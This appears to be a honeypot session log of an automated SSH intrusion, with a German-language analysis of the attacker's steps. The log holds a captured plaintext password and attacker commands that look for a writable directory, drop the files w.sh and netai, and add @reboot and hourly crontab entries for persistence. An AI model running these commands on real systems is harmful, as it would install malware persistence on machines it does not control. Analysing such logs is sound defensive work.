13.10.2026, 15:26 UTC · 13 Befehle · über ssh · Spanien · 2× wiederholt
user='ubuntu' pass='yDR5!ro$geGt+=+' ubuntu@srv01:~$ uname -a Linux node3 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:46:11 UTC 2023 x86_64 GNU/Linux ubuntu@srv01:~$ sh -c 'for d in /dev/shm /tmp /var/run /mnt /root /; do cd "$d" 2>/dev/null && pwd && break; done' / ubuntu@srv01:~$ cat /proc/cpuinfo | grep processor | wc -l 4 ubuntu@srv01:~$ cd "/" && if [ ! -f "w.sh" ]; then cat > "w.sh" && chmod +x w.sh; fi bash: w.sh: No such file or directory ubuntu@srv01:~$ CRON="$(crontab -l 2>/dev/null || true)" ubuntu@srv01:~$ echo "$CRON" | grep -F '//w.sh "astats" "netai" "kstats" "ssh 2 az"' >/dev/null 2>&1 || \ bash: syntax error near unexpected token `||' ubuntu@srv01:~$ printf '%s\n%s\n' "@reboot //w.sh "astats" "netai" "kstats" "ssh 2 az"" "0 * * * * cd "/" && ./w.sh "astats" "netai" "kstats" "ssh 2 az"" | (cat -; echo "$CRON") | crontab - bash: syntax error near unexpected token `(' ubuntu@srv01:~$ ps -eo pid,pcpu,comm --sort=-pcpu | head -n 10 PID %CPU COMMAND 1234 2.3 python3 5678 1.1 nginx 9012 0.8 sshd 3456 0.5 systemd-journal 7890 0.3 systemd-logind 2345 0.2 cron 6789 0.1 rsyslogd 1111 0.0 bash 2222 0.0 ps 3333 0.0 head ubuntu@srv01:~$ ps aux | grep netai | grep -v grep | wc -l 0 ubuntu@srv01:~$ cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > netai bash: netai: No such file or directory ubuntu@srv01:~$ CRON="$(crontab -l 2>/dev/null || true)" ubuntu@srv01:~$ echo "$CRON" | grep -F '//w.sh "astats" "netai" "kstats" "http 80 az"' >/dev/null 2>&1 || \ bash: syntax error near unexpected token `||' ubuntu@srv01:~$ printf '%s\n%s\n' "@reboot //w.sh "astats" "netai" "kstats" "http 80 az"" "0 * * * * cd "/" && ./w.sh "astats" "netai" "kstats" "http 80 az"" | (cat -; echo "$CRON") | crontab - bash: syntax error near unexpected token `('
Der Angreifer meldete sich über SSH mit dem Benutzerkonto ubuntu und einem im Klartext übermittelten Passwort an. Er führte zunächst Systeminformationen ab, um die CPU-Kerne und den Kernel zu identifizieren. Anschließend versuchte er, ein Skript namens w.sh im Wurzelverzeichnis zu erstellen und dieses über die Crontab für regelmäßige Ausführungen zu registrieren. Parallel dazu wurde versucht, eine Datei namens netai in einem temporären Verzeichnis abzulegen und weitere Cron-Jobs für HTTP- und SSH-Dienste einzurichten.
Der Befehl uname -a liefert Details zum Betriebssystem und Kernel, was der Angreifer zur Auswahl passender Malware nutzt. Die Schleife mit cd und pwd prüft, in welchem beschreibbaren Verzeichnis er schreiben darf, wobei /dev/shm (Shared Memory) oft bevorzugt wird, da es flüchtig ist und weniger protokolliert wird. Die Abfrage von /proc/cpuinfo zählt die Prozessorkerne, was bei Kryptomining für die Leistungsoptimierung relevant ist. Der Versuch, w.sh zu erstellen, dient dem Herunterladen oder Entpacken des eigentlichen Schadprogramms. Die crontab-Befehle lesen die bestehenden Zeitpläne aus und fügen neue Einträge hinzu, die das Skript w.sh mit spezifischen Parametern starten, um die Malware automatisch zu aktivieren. Die ps-Befehle dienen der Überwachung, ob die Malware bereits läuft oder ob andere Prozesse die CPU stark belasten.
Das Vorgehen deutet stark auf die Installation einer Persistenz-Mechanismus für ein Botnetz oder einen Kryptominer hin. Die Begriffe netai und kstats sowie die Einrichtung von Cron-Jobs, die bei jedem Neustart und stündlich ausgeführt werden, sind typische Merkmale für Malware, die sich im System verankern soll. Die Kombination aus Dateiablage und Cron-Eintrag dient dazu, die Kontrolle über das System auch nach einem Neustart aufrechtzuerhalten.
Dieses Muster ist im Honeypot-Betrieb sehr verbreitet und folgt einem standardisierten Skript, das von automatisierten Botnetzen wie Mirai oder ähnlichen Varianten genutzt wird. Die Verwendung von generischen Dateinamen wie w.sh und netai sowie die direkte Manipulation der Crontab sind klassische Indikatoren für automatisierte Angriffe ohne menschliche Interaktion.